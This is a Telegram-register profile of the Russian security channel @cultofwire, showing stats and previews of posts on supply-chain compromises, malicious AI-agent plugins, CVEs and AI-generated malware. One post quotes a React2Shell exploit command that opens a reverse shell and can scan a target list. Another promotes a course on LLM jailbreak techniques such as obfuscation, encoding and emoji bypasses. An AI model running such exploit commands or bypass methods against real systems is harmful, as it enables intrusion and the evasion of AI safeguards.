Telegram RegisterThe public register of Telegram

Channel

Cult Of Wire

@cultofwire

On this record: Growth · Engagement · Reactions · Posts · Citations · Cite this entry

949subscribers

-1 since we began measuring on 6 August 2026

Risers and fallers across the register · movement among entries of Under 1,000.

Register entry

Telegram ID-1001119549732
TypeChannel
Username@cultofwire
Created16 October 2017measured — cross-checked against a third-party dataset (ext.tg_channel)
First recorded6 August 2026
Last confirmed live13 August 2026
Measurements held3
Confirmed unchanged1 time, most recently 13 August 2026
On Telegramt.me/cultofwire

Growth

949950949.56 August 2026 — 950 subscribers6 August 2026 — 950 subscribers13 August 2026 — 949 subscribers6 August 202613 August 2026
3 measurements spanning 8 days, net -1. Dots are measurements; the straight line between them is drawn to join them, not to claim we know the path taken in between — snapshots are recorded only when a count changes, so gaps mean “no change observed”, never “interpolated”. The vertical axis spans 949–950 and does not start at zero.
Measurement log — every subscribers count we have recorded
Measured (UTC)SubscribersChange
13 Aug 2026, 14:37949-1
6 Aug 2026, 13:48950no change
6 Aug 2026, 02:05950first reading

Engagement

20 posts held, back to 30 July 2025the reader has not yet reached the start of this channel’s public history, so older posts may sit further back, unread. Read across 1 pageof Telegram’s post history, 20 posts per page.

Nothing published in the last 30 days. ERR and ER are rolling 30-day measures, so there is nothing to compute — we hold 20 posts for this entry, the most recent from 20 March 2026. An engagement rate over an empty window would be a number about nothing.

Reaction mix

42 reactions across 15 posts, in 8 distinct kinds. The most used accounts for 42.9% of them.

Every reaction kind recorded on the sample, most used first
ReactionCountShareShare, drawn
😁1842.9%
👍716.7%
🔥614.3%
511.9%
👎24.76%
🤩24.76%
👏12.38%
🥰12.38%

No sentiment is inferred, and none should be read in. This table is ordered by count and by nothing else. Emoji do not carry stable meaning across languages or communities — 🙏 is thanks in one channel and mourning in another — so we publish which ones were pressed and how often, and pass no judgement on what an audience meant by them.

Precision. Telegram publishes reaction counts per emoji and short-forms each one — 4.34K, 1.2M — so any single kind at or above 1,000 reaches us at three significant figures, and only counts below 1,000 are exact. The shares above are ratios of those figures and carry the same error. This is also why the total here can differ slightly from a reaction total printed elsewhere on the page: both are sums of the same rounded parts, taken over samples with different edges.

Coverage. Reactions were read on 15 of the 20 sampled posts in this sample. Summed by Telegram’s own count on each post — not by adding up the per-emoji breakdown above — those same posts carry 42reactions in total: the kind of figure the paragraph above means by “a reaction total printed elsewhere on the page”.

Measured over the 20 most recent posts we hold, published 30 July 2025 to 20 March 2026, using the newest reading held for each. Telegram Stars are excluded: they are a payment, not a reaction, and they have their own section.

Recent posts

20 Mar 2026, 14:22 UTC378 views1 reactionsread 6 August 2026

Это настолько плохо, что даже хорошо. Хорошей пятницы.

1

20 Mar 2026, 14:22 UTC419 views1 reactionsread 6 August 2026
Forwarded from @mikrotikninja

https://socket.dev/blog/trivy-under-attack-again-github-actions-compromise Trivy в GitHub Action взломали. Если вы использовали Trivy от 0.18.0 до 0.35.0 - мои поздравления - смена паролей в пятницу вечером вам обеспечена

👏1

12 Feb 2026, 18:38 UTC607 viewsread 6 August 2026
Photo

ClawdBot Skills Just Ganked Your Crypto Немного прослоупочил и пропустил важную веху в эре программного обеспечения для нейронок (или связанного с ними). Теперь это полноценный софт. По крайней мере со своими зловредами в своих "репозиториях". Кратко: - 386 вредоносных навыков маскируются под инструменты автоматизации торговли криптой. - Зловредные навыки, опубликованные пользователем hightower6eu, скачали почти 70

4 Feb 2026, 08:50 UTC444 views1 reactionsread 6 August 2026
Forwarded from @purple_medved

One-Click RCE + unauth API keys leak в OpenClaw/Clawdbot/Moltbot (CVE‑2026‑25253) Исследователи из Hunt.io разобрали потенциальные последствия эксплуатации уязвимости CVE‑2026‑25253 с оценкой CVSSv3 = 8.8 в OpenClaw и его форках (Clawdbot, Moltbot). Это browser‑automation фреймворки, связывающие LLM с браузером через Playwright. Эти агенты обычно имеют доступ к файловой системе и API‑ключам LLM, что автоматически де

🔥1

3 Feb 2026, 18:02 UTC416 viewsread 6 August 2026

Раз уж начали неделю c AI, то продолжим небольшим курсом от Aiteera. Сам курс небольшой и состоит из 9 уроков, и скорей рассчитан на начинающих: - Introduction - Basic Defense Bypass - Advanced Techniques - Obfuscation Attacks - Leetspeak Attacks - Text Reversal Techniques - Base64 & Encoding Bypasses - Emoji Obfuscation - Cipher & Substitution Patterns А для тех, кто уже преисполнился, может опробовать свои силы в

3 Feb 2026, 08:34 UTC390 viewsread 6 August 2026

VoidLink: Evidence That the Era of Advanced AI-Generated Malware Has Begun Нейрослоп теперь банановый зловредный. Check Point Research считает, что мы вошли в эру киберкрайм-сингуялрности и аноны могут создавать зловреды с помощью нейронок. Речь идёт про VoidLink, и это не просто какая-то обычная малварь, а целый модульный фреймворк, с системой плагинов и защитой (runtime code encryption, self-deletion upon tamperi

2 Feb 2026, 20:34 UTC354 views5 reactionsread 6 August 2026
Photo

Про Clawdbot вещают из каждого утюга. Self-hosted-революция, сотни или даже тысячи скупленных Mac Mini. Штука действительно интересная и даже захотелось себе такое развернуть. Но сейчас не об этом. Из минорных новостей: Clawdbot успел аж 2 раза поменять имя и нынче он OpenClaw. Новость не примечательная, и скорей для общей информации. Теперь немного интересного: Exposed Moltbook Database Let Anyone Take Control of

👍4😁1

31 Dec 2025, 09:19 UTC461 views3 reactionsread 6 August 2026

Очередной год подходит к завершению, и можно отложить дела и планы в сторону и перейти к салатам и поздравлениям. Про то, что год был тяжелый все говорят каждый раз, так что не буду это повторять. В наступающем году желаю достигать своих целей, открывать новые горизонты, строить и ломать (каждый год об этом говорю), но и про отдых не забываем. Всё будет, как мы любим. До встречи в 2026. И по традиции, музыка:

1🔥1🤩1

29 Dec 2025, 10:29 UTC465 views1 reactionsread 6 August 2026

Год заканчивается, время подводить итоги, показывать какие-нибудь циферки и поделиться своими выводами и видением. Попробую и я сойти за умного и поделиться своими заметками. Топ 5 CVE (плюс бонус): 1. React2Shell (CVE-2025-55182) - мой личный топ года. Красиво, эпично и масштабно. 10/10. 2. Windows NTLM V1 Elevation of Privilege Vulnerability (CVE-2025-21311) - мне редко интересны уязвимости в Windows (правда там и

1

24 Dec 2025, 08:09 UTC461 views3 reactionsread 6 August 2026

Если в AI\ML есть Red Team, то для него должен быть Red Team Field Manual. А если серьезно, то тема довольно интересная, а тут всё и сразу в одном месте. Сам Field Manual, инструменты и скрипты так же доступны на Github: github.com/Shiva108/ai-llm-red-team-handbook

2👎1

5 Dec 2025, 11:20 UTC637 views1 reactionsread 6 August 2026

Небольшое продолжение по CVE-2025-55182 CVE-2025-55182 теперь react2shell, а так же появился стабильный эксплоит. Получить шелл можно в одну команду: # Предварительно не забываем поднять листенер, скрипт его не поднимает. python3 exp.py http://127.0.0.1:3000 --revshell 127.0.0.1 1234 # Или сразу прогнать список python3 exp.py -f targets.txt --check Подоспел и плагин для Burp: Next.js RSC RCE Scanner. По данным FO

👎1

3 Dec 2025, 21:12 UTC≈2,790 views2 reactionsread 6 August 2026
Photo

А вот и первый PoC и шаблон для Nuclei. А кто-то уже начал PoC продавать.

👍1🔥1

Showing the 12 most recent of 20 posts we hold for @cultofwire. View and reaction counts are the latest single reading for each post, not a live figure, and a recent post is still accumulating both. A view count marked was rounded by Telegram before we ever saw it — t.me prints views in full below 1,000 and to three significant figures above, so ≈1,200,000 means somewhere between 1,150,000 and 1,249,999. Unmarked counts are exact. Text is reproduced from the public post preview and truncated for length.

Citation-graph rank

Citation-graph rank — 1,105,457 of 1,189,255entries in the measured graph. A weighted position computed from the forward and mention edges below — republished posts weigh more than named mentions — and recomputed periodically, over the whole graph. Published only as this ordinal position, never as a score: a position is a fact, and a score printed beside one channel’s name would read as a verdict this register does not make. The two counts beneath stay separate for the same reason mentions are never summed with forwards anywhere else on this page — a named-by count costs nothing to manufacture. The top 100 by this measure, or how it is computed.

Forward network

Republished by

Channels on the register that have forwarded this channel's posts into their own feed.

Built only from forwarded posts we have actually read, on both sides. Coverage is early and deliberately incomplete: a missing link means we have not read the post that would prove it, never that the relationship does not exist. Counts are distinct forwarded posts observed, so they only ever go up as we read more.

Mentions

Names

Channels on the register whose handles appear in this channel's posts.

A mention is a weaker signal than a forward and is counted separately for that reason — naming a channel is not republishing it, and a handle in a post body is easy to place deliberately. The post counts beside each row below are distinct posts in which the handle appeared, from posts we have read on both sides — the “Named by N registered channels” figure above is a different count, of distinct NAMING CHANNELS rather than posts, and is not the sum of the rows under it.

Cite this entry

A live page changes as we take new readings, so a citation should name the measurement it is based on, not just the URL. The line below cites the subscriber count as measured 13 August 2026 — this entry's latest reading, not the date you are reading this.

“Cult Of Wire” (@cultofwire), 949 subscribers as measured 13 August 2026. Telegram Register, tgregister.com/channel/cultofwire.

Full measurement history, CC BY 4.0. Every reading this register holds for this entry, not just the latest one, as a dated, downloadable record: CSV · JSON. Free to use with attribution to tgregister.com. Each file carries its own generation timestamp, which is the figure to cite for exactly when the data was retrieved.